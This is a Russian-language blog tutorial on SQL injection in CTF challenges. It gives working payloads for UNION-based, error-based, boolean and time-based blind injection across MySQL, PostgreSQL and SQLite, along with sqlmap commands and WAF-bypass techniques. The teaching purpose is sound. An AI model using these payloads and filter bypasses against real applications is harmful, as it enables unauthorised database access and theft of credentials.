Главная / Блог / SQL-инъекции в CTF: от обнаружения до эксплуатации UNION-based и слепых инъекций

15 мин.00

SQL-инъекции в CTF: от обнаружения до эксплуатации UNION-based и слепых инъекций

SQL-инъекции в CTF: от обнаружения до эксплуатации UNION-based и слепых инъекций

SQL-инъекции в CTF: от обнаружения до эксплуатации UNION-based и слепых инъекций

Задача на CTF: форма логина, никаких подсказок. administrator'-- в поле username — и ты внутри за 30 секунд. Следующая задача: тот же параметр, но приложение не выдаёт ни ошибок, ни данных — только «Welcome back» или пустую страницу. Первую решают большинство участников, вторую — единицы. И дело не в знании SQL, а в отсутствии системного подхода к эксплуатации SQL инъекций в CTF. Человек с пятью пейлоадами и чётким алгоритмом выбора техники обходит «опытного» коллегу с cheat sheet на 50 страниц — потому что второй не может определить момент, когда пора бросить UNION и переключиться на blind.

По классификации OWASP — A03:2021 (Injection), по MITRE ATT&CK — Exploit Public-Facing Application (T1190, Initial Access). Согласно Verizon DBIR 2025, 26% всех подтверждённых нарушений безопасности — веб-атаки, и инъекции остаются одним из основных векторов. В CTF цель проще — флаг вместо учётных данных, но цепочка действий идентична реальному penetration testing веб-приложений. Разберём полную методологию: от первой кавычки до извлечения флага через UNION-based, error-based и blind SQL injection, с рабочими пейлоадами для MySQL, PostgreSQL и SQLite.

Поиск SQL инъекций в CTF: алгоритм первых пяти минут

[Применимо: любые web-задачи CTF с формами, параметрами URL, cookie, HTTP-заголовками] Подробнее — в нашем обзоре пентест веб-приложений.

Прежде чем запускать sqlmap, нужно руками нащупать sqli уязвимость и определить её тип. Алгоритм начинается с одной кавычки и трёх возможных исходов.

Тестирование точки ввода одинарной кавычкой

Вставляем ' в каждый подозрительный параметр — GET, POST, cookie, заголовки (X-Forwarded-For, Referer, User-Agent). Три сценария ответа:

Ошибка синтаксиса. Ответ содержит You have an error in your SQL syntax, Unterminated string literal, PG::SyntaxError или аналог. Это error-based SQL injection — самый быстрый путь к флагу. Ошибка сама по себе выдаёт информацию о СУБД и структуре запроса.

Изменение поведения без ошибки. Страница отображается иначе: пропадает блок, меняется содержимое, исчезает текст «Welcome back». Это boolean-based SQL injection. Данные извлекаются через разницу в ответах на TRUE/FALSE-условия.

Никаких видимых изменений. Ни ошибки, ни визуальной разницы. Пробуем временную задержку: ' AND SLEEP(5)-- для MySQL или '; SELECT pg_sleep(5)-- для PostgreSQL. Ответ задержался на пять секунд — инъекция есть, но time-based blind SQLi. Нет задержки — параметр либо не уязвим, либо WAF режет пейлоад.

Работает, если: приложение конструирует SQL через конкатенацию строк без экранирования (в CTF — подавляющее большинство задач). Не работает, если: используются параметризованные запросы (prepared statements) или ORM с автоматической параметризацией; ввод проходит через строгую типизацию до попадания в SQL.

Определение СУБД по поведению

Синтаксис пейлоадов критически различается между СУБД. Именно разница в синтаксисе — главная причина, по которой «универсальные» пейлоады ломаются на задачах средней сложности. Быстрые тесты:

  • %23 работает как комментарий (# в URL-кодировке) — MySQL/MariaDB. Подтверждаем через @@version
  • || конкатенирует строки — PostgreSQL или SQLite. В MySQL || — логический OR (если не ANSI mode), поэтому для MySQL используем CONCAT()
  • ' UNION SELECT sqlite_version()-- возвращает результат — SQLite (в CTF встречается часто, особенно в задачах на Python/Flask)
  • ' AND @@version>0-- работает — MySQL или MSSQL

Определение СУБД на ранней стадии экономит десятки минут: вместо перебора всех вариантов пейлоадов работаешь с конкретным синтаксисом. Я на соревнованиях всегда трачу первую минуту именно на это — потом отбивается десятикратно.

Какую технику выбрать: decision tree

Что видите в ответе Тип инъекции Техника Скорость извлечения
SQL-ошибка с данными в тексте Error-based extractvalue(), CAST() Мгновенно (1-3 запроса)
Данные SELECT видны на странице UNION-based UNION SELECT Быстро (5-10 запросов)
Разница TRUE/FALSE в поведении Boolean-blind SUBSTRING + бинарный поиск Средне (~7 запросов на символ)
Только задержка во времени Time-based blind SLEEP/IF Медленно (7 запросов × N сек на символ)
Ничего из вышеперечисленного Out-of-band или нет SQLi DNS exfiltration Зависит от конфигурации СУБД

Эта таблица — ваш основной инструмент. Не пейлоады, а именно decision tree. Запомните её — и 80% задач на SQL инъекции в CTF станут шаблонными.

По MITRE ATT&CK, в продвинутых CTF-задачах инъекция в базу данных (Databases, T1213.006, Collection) может вести к чтению файлов на сервере (Data from Local System, T1005) или к закреплению через SQL Stored Procedures (T1505.001, Persistence). На соревнованиях высокого уровня встречаются задачи на чтение файлов через LOAD_FILE() или запись веб-шелла через INTO OUTFILE — но обычно флаг лежит в таблице.

UNION-based SQL injection: извлекаем данные из базы

[Применимо: CTF-задачи, где результат SELECT отображается на странице — каталоги товаров, профили пользователей, поиск]

UNION-based инъекция — рабочая лошадка CTF-задач на sql инъекции. Оператор UNION присоединяет к оригинальному запросу произвольный SELECT, и результат появляется прямо на странице. По данным Acunetix, UNION-based SQLi позволяет объединить результаты нескольких SELECT-запросов в единый HTTP-ответ.

Работает, если: результат SQL-запроса отображается в HTML и количество столбцов в UNION SELECT совпадает с оригинальным запросом. Не работает, если: приложение не выводит данные запроса на страницу — тогда UNION бесполезен и нужно переключаться на blind-техники. Также не работает, если WAF блокирует ключевое слово UNION (обход — в разделе про WAF).

Определение числа столбцов

Без точного совпадения числа столбцов UNION выбросит ошибку. Два подхода:

ORDER BY (бинарный поиск). Последовательно увеличиваем номер: ' ORDER BY 1-- — ОК, ' ORDER BY 5-- — ошибка, ' ORDER BY 3-- — ОК, ' ORDER BY 4-- — ошибка. Итого три столбца. Находится за log₂(N) запросов — при 10 столбцах это четыре попытки вместо десяти.

UNION SELECT NULL. Добавляем NULL по одному: ' UNION SELECT NULL--, затем ' UNION SELECT NULL, NULL--, затем ' UNION SELECT NULL, NULL, NULL--. Третий вариант сработал — три столбца. Медленнее ORDER BY, но надёжнее, когда ORDER BY синтаксически невозможен в контексте запроса (например, внутри подзапроса).

После определения количества столбцов находим, какие из них отображаются на странице: -1' UNION SELECT 'aaa', 'bbb', 'ccc'--. Отрицательный -1 гарантирует, что оригинальный запрос вернёт пустой результат и не перекроет данные UNION. Смотрим, где на странице всплыли маркеры aaa, bbb, ccc — в эти позиции подставляем подзапросы.

Цепочка извлечения: таблицы → столбцы → флаг

Допустим, MySQL, три столбца, второй отображается на странице:

-- Шаг 1: имена таблиц текущей БД
-1' UNION SELECT 1, GROUP_CONCAT(table_name), 3
  FROM information_schema.tables
  WHERE table_schema=database()--
-- Шаг 2: столбцы целевой таблицы
-1' UNION SELECT 1, GROUP_CONCAT(column_name), 3
  FROM information_schema.columns
  WHERE table_name='flag'--
-- Шаг 3: забираем флаг
-1' UNION SELECT 1, flag, 3 FROM flag--

Три запроса — и флаг у вас. На практике бывает чуть больше (таблица может называться не flag, а s3cr3t_fl4g или users), но логика та же.

Для SQLite — ключевое отличие: вместо information_schema используется sqlite_master. Запрос -1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'-- вернёт полный CREATE TABLE со всеми именами столбцов. Новички, привыкшие к MySQL, стабильно ломаются на этом переходе — information_schema в SQLite просто не существует. Я сам на первом CTF потерял на этом минут двадцать, пока не додумался проверить СУБД.

Для PostgreSQL — строгая типизация столбцов. Если оригинальный запрос ожидает строку, а вы подставляете число — ошибка несовпадения типов. Решение: CAST(1 AS text) вместо 1 в позициях, где ожидается строковый тип. Без CAST PostgreSQL откажет, и это стоит драгоценных минут на соревновании.

Если приложение обрабатывает только первую строку результата (LIMIT 1 в оригинальном запросе или код берёт row[0]), GROUP_CONCAT помогает свернуть все строки в одну. В PostgreSQL аналог — string_agg(column, ',').

Error-based SQL injection: эксплуатация через ошибки СУБД

[Применимо: CTF-задачи с видимыми сообщениями об ошибках БД, debug-режим приложения, verbose error pages]

Error-based SQL injection — самый быстрый способ вытащить данные, когда ошибки СУБД отображаются в HTTP-ответе. Один запрос — и нужная строка прямо в тексте ошибки.

Работает, если: ошибки базы данных видны в HTTP-ответе (debug mode включён, verbose errors, отсутствие try/catch в коде). Не работает, если: приложение перехватывает все исключения и возвращает generic error page без технических деталей.

Verbose errors: extractvalue() и CAST()

Для MySQL — функция extractvalue() генерирует ошибку, содержащую результат подзапроса. Пейлоад extractvalue(rand(),concat(0x3a,(select flag from flag))) выводит флаг прямо в тексте ошибки. Нюанс, на котором застревают многие: extractvalue() возвращает максимум 32 символа. Флаг длиннее — используем SUBSTRING для чтения порциями: extractvalue(rand(),concat(0x3a,substring((select flag from flag),33,32))) достанет символы с 33-го по 64-й.

Альтернатива для MySQL — ошибка через GROUP BY с FLOOR(RAND(0)*2). Пейлоад 0' AND (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)-- генерирует ошибку Duplicate entry '10.1.36-MariaDB#0' for key 'group_key' — версия СУБД прямо в сообщении. Грязный, но рабочий трюк.

Для PostgreSQL — техника с CAST(). Попытка привести строку к целому числу вызывает ошибку с данными: CAST((SELECT password FROM users LIMIT 1) AS int) даёт ERROR: invalid input syntax for type integer: "s3cretP@ss". Пароль — прямо в сообщении об ошибке. Приём особенно полезен, когда ограничение на длину параметра не позволяет использовать conditional responses.

Conditional errors: CASE WHEN для промежуточных случаев

Бывает промежуточная ситуация: приложение не показывает текст ошибки, но ведёт себя по-разному при ошибке и без неё (HTTP 500 вместо 200, или generic error page вместо нормальной). Тут работает техника conditional errors:

  • xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a — условие ложно, деления на ноль нет, нормальный ответ
  • xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a — условие истинно, деление на ноль → ошибка

Подставляя SUBSTRING(password,1,1)>'m' вместо 1=1, извлекаем данные посимвольно — как в boolean-blind, но индикатор — error/no-error вместо визуальной разницы. Эта техника встречается в CTF, когда таск-мейкер отключает вывод данных и error messages, но забывает обработать деление на ноль. Классическая недоработка.

Когда техника НЕ работает: приложение возвращает абсолютно одинаковый HTTP-ответ (код 200, одинаковый body) независимо от ошибки в SQL. Тогда остаётся только time-based blind.

Blind SQL injection: boolean-based и time-based техники

[Применимо: cookie-based инъекции, формы логина без вывода данных, задачи без отображения ошибок и результатов запроса]

Blind SQL-инъекция — самый муторный тип задач в CTF. Приложение не возвращает ни результат запроса, ни ошибку — только косвенные признаки. Как отмечает PortSwigger, многие реальные уязвимости являются слепыми, и техники UNION к ним полностью неприменимы. Тут начинается настоящая работа.

Boolean-based blind: SUBSTRING и бинарный поиск

Работает, если: приложение ведёт себя по-разному при TRUE и FALSE — наличие или отсутствие текста на странице, разница в длине ответа, изменение HTTP-кода. Не работает, если: ответ абсолютно идентичен при любом результате запроса.

Классический пример из PortSwigger Web Security Academy — cookie TrackingId. Два тестовых запроса определяют наличие инъекции:

  • xyz' AND '1'='1 — страница содержит «Welcome back» (TRUE)
  • xyz' AND '1'='2 — «Welcome back» отсутствует (FALSE)

Разница есть? Отлично, дальше — посимвольное извлечение через бинарный поиск. Пейлоад xyz' AND SUBSTRING((SELECT password FROM users WHERE username='Administrator'),1,1)>'m' — если TRUE, первый символ пароля в диапазоне n-z. Следующий запрос: >'t' — если FALSE, символ между n и t. Затем >'p' — если TRUE, между q и t. И так до точного совпадения. Каждый символ определяется за 6-8 запросов при бинарном поиске по ASCII-диапазону.

Для извлечения строки из 20 символов — 120-160 HTTP-запросов. Руками это мучительно, но алгоритм линейный и автоматизируется за 30 строк на Python с библиотекой requests или одной командой sqlmap.

Типичная ловушка таск-мейкеров: одна из функций SUBSTRING, MID(), SUBSTR() заблокирована фильтром — остальные работают. Если SUBSTRING не проходит — пробуем альтернативы, они делают то же самое.

Time-based blind SQLi: SLEEP() и IF()

Работает, если: SQL-инъекция есть, но приложение возвращает абсолютно одинаковый ответ при любом результате запроса. Ни ошибок, ни визуальной разницы, ни изменения HTTP-кода. Не работает, если: сервер обрабатывает запросы асинхронно и задержка СУБД не отражается на времени HTTP-ответа; сетевой jitter превышает значение SLEEP; WAF блокирует SLEEP/BENCHMARK/WAITFOR.

Принцип: формулируем условие, при TRUE заставляем СУБД подождать. Разница во времени ответа — единственный канал информации. Медленно? Да. Но иногда это единственный путь к флагу.

-- MySQL: time-based blind, бинарный поиск символа
-- Позиция 1: символ > 'm'?
IF(SUBSTRING((SELECT flag FROM flag),1,1)>'m',SLEEP(5),0)
-- Задержка 5 сек = TRUE → символ в диапазоне n-z
-- Символ > 't'?
IF(SUBSTRING((SELECT flag FROM flag),1,1)>'t',SLEEP(5),0)
-- Мгновенный ответ = FALSE → символ в диапазоне n-t
-- Символ = 's'?
IF(SUBSTRING((SELECT flag FROM flag),1,1)='s',SLEEP(5),0)
-- Задержка 5 сек = TRUE → первый символ: 's'

Для MSSQL: '; WAITFOR DELAY '0:0:5'--. Для PostgreSQL: '; SELECT pg_sleep(5)--. Для MySQL также работает BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) — выполняет функцию пять миллионов раз, создавая заметную задержку. BENCHMARK полезен, когда SLEEP заблокирован WAF — фильтры реже включают эту функцию в чёрный список.

На нестабильных сетях с высоким jitter (задержка плавает на ±2 секунды) отличить SLEEP(5) от сетевого лага сложно. Решение: увеличиваем SLEEP до 10-15 секунд. Грубо, зато надёжно.

Использование sqlmap для эксплуатации SQL инъекций в CTF

[Применимо: CTF-задачи любого типа SQLi, когда ручная эксплуатация слишком медленная]

sqlmap — open-source инструмент для автоматизации обнаружения и эксплуатации SQL-инъекций. В CTF основная ценность — автоматизация blind-инъекций, которые руками занимают часы.

Требования к окружению

  • Python 2.7 или 3.x (sqlmap поддерживает обе версии)
  • Установка: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
  • Burp Suite Community Edition для перехвата HTTP-запросов (рекомендуется)
  • Сетевой доступ к целевому серверу CTF

Ключевые сценарии использования sqlmap

Из сохранённого Burp-запроса — самый надёжный способ. Перехватываем уязвимый запрос в Burp Repeater, сохраняем через Copy to file, передаём sqlmap: python sqlmap.py -r request.txt --batch. Флаг --batch автоматически отвечает на все вопросы — на CTF каждая секунда на счету.

С указанием СУБД и техники — ускоряет работу в 3-5 раз. Если уже определили MySQL и time-based blind: python sqlmap.py -r request.txt --dbms=mysql --technique=T --batch. Параметр --technique принимает значения: B (boolean), E (error), U (union), S (stacked), T (time), Q (inline queries). Указание конкретной техники исключает перебор остальных — и это ощутимо.

Полная цепочка извлечения выстраивается последовательно: --dbs для списка баз данных → -D target_db --tables для таблиц → -D target_db -T flag --columns для столбцов → -D target_db -T flag -C flag --dump для данных. На CTF иногда срабатывает --dump-all, но на базах с десятками таблиц это неоправданно медленно.

Boolean-blind с маркером TRUE-ответа. Если sqlmap не определяет тип ответа автоматически, указываем маркер: python sqlmap.py -r request.txt --string="Welcome back" --batch. Флаг --string сообщает sqlmap, какой текст в ответе означает TRUE.

Когда sqlmap НЕ помогает: нестандартная точка инъекции (вложенный JSON, GraphQL-переменные), кастомный WAF с rate-limiting (sqlmap заблокируют по IP после десятка запросов), задачи с двухэтапной логикой (результат первого запроса определяет структуру второго). В таких случаях — ручная эксплуатация или кастомный Python-скрипт. sqlmap — молоток, но не каждая задача — гвоздь.

Обход WAF при SQL injection на практике

[Применимо: CTF-задачи с фильтрацией ввода, веб-приложения с WAF/regexp-фильтрами]

На CTF средней и высокой сложности пейлоады фильтруются. Знание техник обхода WAF — разница между решённой и нерешённой задачей.

Работает, если: WAF или серверный фильтр блокирует конкретные ключевые слова или символы (SELECT, UNION, пробелы, кавычки, запятые) через regexp или строковое сопоставление. Не работает, если: WAF использует семантический анализ SQL (парсит AST запроса), а не текстовое сопоставление.

Основные приёмы обхода фильтров

Смена регистра. SQL — регистронезависимый язык. WAF блокирует SELECT и UNION? Пробуем SeLeCt и uNiOn. По данным Invicti, sElEcT выполнится точно так же, как SELECT. Простейший обход, который работает на элементарных фильтрах с прямым сравнением строк. Смешно, но на CTF это срабатывает чаще, чем хотелось бы.

Inline-комментарии вместо пробелов. WAF блокирует пробел? Заменяем на /**/: SELECT/**/flag/**/FROM/**/flag вместо SELECT flag FROM flag. Для разрыва ключевых слов: UN/**/ION/**/SEL/**/ECT. Inline-комментарии — универсальный приём, работающий во всех основных СУБД.

Hex-кодирование строк. Фильтруются кавычки — строковые значения передаём в hex. Вместо WHERE table_name='flag' пишем WHERE table_name=0x666C6167. В MySQL 0x666C6167 интерпретируется как строка flag. Для PostgreSQL используем CHR(): CHR(102)||CHR(108)||CHR(97)||CHR(103).

Двойное URL-кодирование. Если WAF декодирует URL один раз, а приложение декодирует ещё раз, двойное кодирование проходит фильтр: %2527 → WAF видит %27 и не блокирует → приложение декодирует в '.

MySQL-специфичный комментарий. Конструкция /*!50000SELECT*/ выполнится только в MySQL версии 5.0+ — WAF может не распознать это как SQL-команду. Специальный синтаксис MySQL для условного выполнения кода по версии. Хитрая штука.

Обход фильтрации запятых. Запятые запрещены → UNION SELECT с несколькими столбцами невозможен напрямую. Обход через JOIN: UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c. Проверено на практике в CTF-writeup'ах — работает.

Альтернативные функции. SUBSTRING заблокирован? Пробуем MID(), SUBSTR(), LEFT(), RIGHT(). SLEEP заблокирован? Используем BENCHMARK(5000000,SHA1('test')). Фильтруется AND? Пробуем &&. Каждая СУБД имеет десятки синонимичных функций — полный перечень есть в SQL Injection Cheat Sheet от Invicti.

Когда обход WAF не работает

Семантические WAF нового поколения (на основе libinjection или аналогов) токенизируют SQL-запрос и анализируют его структуру, а не текстовые паттерны. Комментарии, hex-кодирование и смена регистра их не обманывают. На CTF такие WAF — редкость, но если встретился — нужно искать уязвимость в логике фильтрации: HTTP parameter pollution (дублирование параметра с разными значениями), разница в парсинге между WAF и backend-приложением, или нестандартный Content-Type, который WAF не инспектирует.


Большинство CTF-игроков, которые застревают на SQL-задачах, совершают одну системную ошибку: пытаются выучить 200 пейлоадов наизусть вместо того, чтобы понять логику выбора техники. Пейлоад — следствие. Причина — понимание того, как конкретная СУБД обрабатывает ввод и что именно вы наблюдаете в ответе сервера. На соревнованиях видно, как участник с пятью пейлоадами и чётким decision tree обходит коллегу с cheat sheet на 50 страниц, потому что второй не может определить момент, когда пора переключиться с UNION на blind.

Вторая проблема — переоценённая сложность blind-инъекций. «Посимвольное извлечение» звучит устрашающе, а на деле — бинарный поиск по ASCII-таблице: 7-8 запросов на символ, 160 запросов на 20-символьный пароль. Автоматизируется за 30 строк на Python или одной командой sqlmap. Реально недооценено другое — время, которое тратится на попытки заставить UNION работать там, где он принципиально не может: приложение не выводит данные на страницу, а участник продолжает подбирать количество столбцов вместо того, чтобы переключиться на blind.

CTF-задачи на эксплуатацию SQL инъекций будут усложняться в сторону нестандартных точек инъекции — JSON API, GraphQL-переменные, WebSocket-фреймы. Классический ' OR 1=1-- в GET-параметре останется в задачах для новичков, а на серьёзных соревнованиях инъекция будет спрятана в заголовке или во вложенном JSON-объекте. Тот, кто научился системно тестировать каждую точку ввода — закрывает задачи, пока остальные не могут выбраться из первой кавычки. Если хотите довести эту методологию до автоматизма на десятках лаб с прогрессией от обхода логина до продвинутых blind-техник — WAPT закрывает веб-часть подготовки к OSCP с ментором в чате.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...